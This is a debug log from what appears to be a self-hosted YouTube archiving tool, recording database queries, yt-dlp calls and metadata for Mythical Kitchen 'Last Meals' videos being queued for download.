https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "duration" => 3770, "filename" => "/downloads/Last Meals/2025-12-23 Critical Role's Matthew Mercer Eats His Last Meal/Critical Role's Matthew Mercer Eats His Last Meal [_0ZAIHERgFc].mp4", "id" => "_0ZAIHERgFc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=_0ZAIHERgFc", "playlist_index" => 58, "timestamp" => 1766487670, "title" => "Critical Role's Matthew Mercer Eats His Last Meal", "upload_date" => "20251223"} 20:48:25.629 [debug] QUERY OK source="sources" db=0.2ms idle=571.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:48:25.629 [debug] QUERY OK source="sources" db=0.1ms idle=572.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:25.630 [debug] QUERY OK source="media_items" db=0.4ms idle=572.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-23 11:01:10Z], 1] 20:48:25.632 [debug] QUERY OK source="media_items" db=1.6ms idle=573.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Matthew Mercer eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Matthew's Last Meal\n0:20 Sketching Adult Materials\n2:33 Have You Thought About Your Last Meal Before?\n4:06 How Often Do You Think About Death?\n6:06 1st Course\n11:43 The Burt Reynolds Pipeline\n16:17 Dungeons & Dragons Beginnings\n17:55 Mr. Busby Surprise\n21:32 2nd Course\n26:16 Critical Role Beginnings\n27:54 DMing Is Intimate\n33:01 The Mighty Nein\n37:19 3rd Course\n38:39 Honeymoon Memories\n40:56 Escape Room Proposal\n44:03 Body Dysmorphia Disorder\n47:46 4th Course\n49:59 Embracing the Chaos in D&D\n53:02 The Mercer Affect\n56:00 Empathy Always\n57:37 What Do You Think Happens When You Die?\n59:40 Lightning Round\n1:01:57 Matthew's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Critical Role's Matthew Mercer Eats His Last Meal", "c10354ec-0786-499c-acbe-0c10988308e9", "https://www.youtube.com/watch?v=_0ZAIHERgFc", false, "_0ZAIHERgFc", 3770, false, 58, "/downloads/Last Meals/2025-12-23 Critical Role's Matthew Mercer Eats His Last Meal/Critical Role's Matthew Mercer Eats His Last Meal [_0ZAIHERgFc].mp4", false, false, 1, [], 0, ~U[2025-12-23 11:01:10Z], ~U[2026-03-28 00:48:25Z], ~U[2026-03-28 00:48:25Z], "Today, Matthew Mercer eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Matthew's Last Meal\n0:20 Sketching Adult Materials\n2:33 Have You Thought About Your Last Meal Before?\n4:06 How Often Do You Think About Death?\n6:06 1st Course\n11:43 The Burt Reynolds Pipeline\n16:17 Dungeons & Dragons Beginnings\n17:55 Mr. Busby Surprise\n21:32 2nd Course\n26:16 Critical Role Beginnings\n27:54 DMing Is Intimate\n33:01 The Mighty Nein\n37:19 3rd Course\n38:39 Honeymoon Memories\n40:56 Escape Room Proposal\n44:03 Body Dysmorphia Disorder\n47:46 4th Course\n49:59 Embracing the Chaos in D&D\n53:02 The Mercer Affect\n56:00 Empathy Always\n57:37 What Do You Think Happens When You Die?\n59:40 Lightning Round\n1:01:57 Matthew's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Critical Role's Matthew Mercer Eats His Last Meal", "https://www.youtube.com/watch?v=_0ZAIHERgFc", "_0ZAIHERgFc", 3770, false, "/downloads/Last Meals/2025-12-23 Critical Role's Matthew Mercer Eats His Last Meal/Critical Role's Matthew Mercer Eats His Last Meal [_0ZAIHERgFc].mp4", false, 1, ~U[2025-12-23 11:01:10Z]] 20:48:25.633 [debug] QUERY OK source="sources" db=0.1ms idle=527.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:25.633 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:48:25.633 [debug] QUERY OK source="media_items" db=0.2ms idle=3.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [58] 20:48:25.633 [info] Kicking off download for media item #58 (_0ZAIHERgFc) 20:48:25.635 [debug] QUERY OK source="tasks" db=0.1ms idle=2.3ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [61, 58, ~U[2026-03-28 00:48:25Z], ~U[2026-03-28 00:48:25Z]] 20:48:25.635 [debug] Current batch of media processed. Will check again in 1000ms 20:48:26.384 [info] POST /sources 20:48:26.384 [debug] Processing with PinchflatWeb.Sources.SourceController.create/2 Parameters: %{"_csrf_token" => "BQkrASlVGyYeXnFBYDg3c1d1QUtCHhcZnnybG0bJNmA68tX0e6vzuIat", "download_cutoff_date_preset" => "", "source" => %{"cookie_behaviour" => "disabled", "custom_name" => "TADC", "download_cutoff_date" => "", "download_media" => "true", "fast_index" => "false", "index_frequency_minutes" => "1440", "max_duration_seconds" => "", "media_profile_id" => "1", "min_duration_seconds" => "", "original_url" => "https://www.youtube.com/playlist?list=PLHovnlOusNLgvAbnxluXCVB3KLj8e4QB-", "output_path_template_override" => "", "retention_period_days" => "", "title_filter_regex" => ""}} Pipelines: [:browser] 20:48:26.384 [debug] Running yt-dlp command for action: get_source_details 20:48:26.385 [debug] QUERY OK source="settings" db=0.1ms idle=750.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:26.385 [debug] QUERY OK source="settings" db=0.0ms idle=750.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:26.385 [debug] QUERY OK source="settings" db=0.0ms idle=749.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:26.385 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLHovnlOusNLgvAbnxluXCVB3KLj8e4QB- --simulate --skip-download --ignore-no-formats-error --playlist-end 1 --print-to-file %(.{channel,channel_id,playlist_id,playlist_title,filename})j /tmp/pinchflat/data/71/8c/718c6be5fe9d4e0a58f956bab5bd8643a4db2dbe4cfefe0cf84b3335a5aa88be.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:48:26.636 [debug] Current batch of media processed. Will check again in 1000ms 20:48:27.638 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Xolo Maridueña is eating his last meal.\n\n0:00 Xolo's Last Meal\n0:23 Fantasy Football Inspiration\n1:08 Have You Thought About Your Last Meal Before?\n2:42 1st Course\n3:28 Growing Up On Cobra Kai\n6:40 Mementos From Set\n8:42 2nd Course\n11:40 Representation Reflections\n14:17 Community Theater Beginnings\n15:12 Blue Beetle\n17:05 \"Not Latino Enough\"\n18:18 3rd Course\n20:23 The Shaman & The Jaguar\n 21:25 How To Think About Death\n26:15 4th Course\n27:09 Life Lessons From Al Pacino\n29:42 Living For A Cause\n31:26 Helping The Next Generation\n32:47 Screentime Rumors\n34:21 Lightning Round\n37:06 Xolo's Last Words\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "duration" => 2287, "filename" => "/downloads/Last Meals/2024-11-26 Cobra Kai’s Xolo Maridueña Eats His Last Meal/Cobra Kai’s Xolo Maridueña Eats His Last Meal [qKTJQwolUNg].mp4", "id" => "qKTJQwolUNg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=qKTJQwolUNg", "playlist_index" => 59, "timestamp" => 1732618858, "title" => "Cobra Kai’s Xolo Maridueña Eats His Last Meal", "upload_date" => "20241126"} 20:48:27.639 [debug] QUERY OK source="sources" db=0.4ms idle=1253.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:48:27.640 [debug] QUERY OK source="sources" db=0.2ms idle=1254.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:27.641 [debug] QUERY OK source="media_items" db=0.5ms idle=1255.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-11-26 11:00:58Z], 1] 20:48:27.645 [debug] QUERY OK source="media_items" db=3.3ms idle=584.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Xolo Maridueña is eating his last meal.\n\n0:00 Xolo's Last Meal\n0:23 Fantasy Football Inspiration\n1:08 Have You Thought About Your Last Meal Before?\n2:42 1st Course\n3:28 Growing Up On Cobra Kai\n6:40 Mementos From Set\n8:42 2nd Course\n11:40 Representation Reflections\n14:17 Community Theater Beginnings\n15:12 Blue Beetle\n17:05 \"Not Latino Enough\"\n18:18 3rd Course\n20:23 The Shaman & The Jaguar\n 21:25 How To Think About Death\n26:15 4th Course\n27:09 Life Lessons From Al Pacino\n29:42 Living For A Cause\n31:26 Helping The Next Generation\n32:47 Screentime Rumors\n34:21 Lightning Round\n37:06 Xolo's Last Words\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Cobra Kai’s Xolo Maridueña Eats His Last Meal", "e40a5e70-c346-4b37-a274-04e6de32c410", "https://www.youtube.com/watch?v=qKTJQwolUNg", false, "qKTJQwolUNg", 2287, false, 59, "/downloads/Last Meals/2024-11-26 Cobra Kai’s Xolo Maridueña Eats His Last Meal/Cobra Kai’s Xolo Maridueña Eats His Last Meal [qKTJQwolUNg].mp4", false, false, 1, [], 0, ~U[2024-11-26 11:00:58Z], ~U[2026-03-28 00:48:27Z], ~U[2026-03-28 00:48:27Z], "Today, Xolo Maridueña is eating his last meal.\n\n0:00 Xolo's Last Meal\n0:23 Fantasy Football Inspiration\n1:08 Have You Thought About Your Last Meal Before?\n2:42 1st Course\n3:28 Growing Up On Cobra Kai\n6:40 Mementos From Set\n8:42 2nd Course\n11:40 Representation Reflections\n14:17 Community Theater Beginnings\n15:12 Blue Beetle\n17:05 \"Not Latino Enough\"\n18:18 3rd Course\n20:23 The Shaman & The Jaguar\n 21:25 How To Think About Death\n26:15 4th Course\n27:09 Life Lessons From Al Pacino\n29:42 Living For A Cause\n31:26 Helping The Next Generation\n32:47 Screentime Rumors\n34:21 Lightning Round\n37:06 Xolo's Last Words\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - http (truncated) 20:48:27.646 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=537.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:27.646 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) 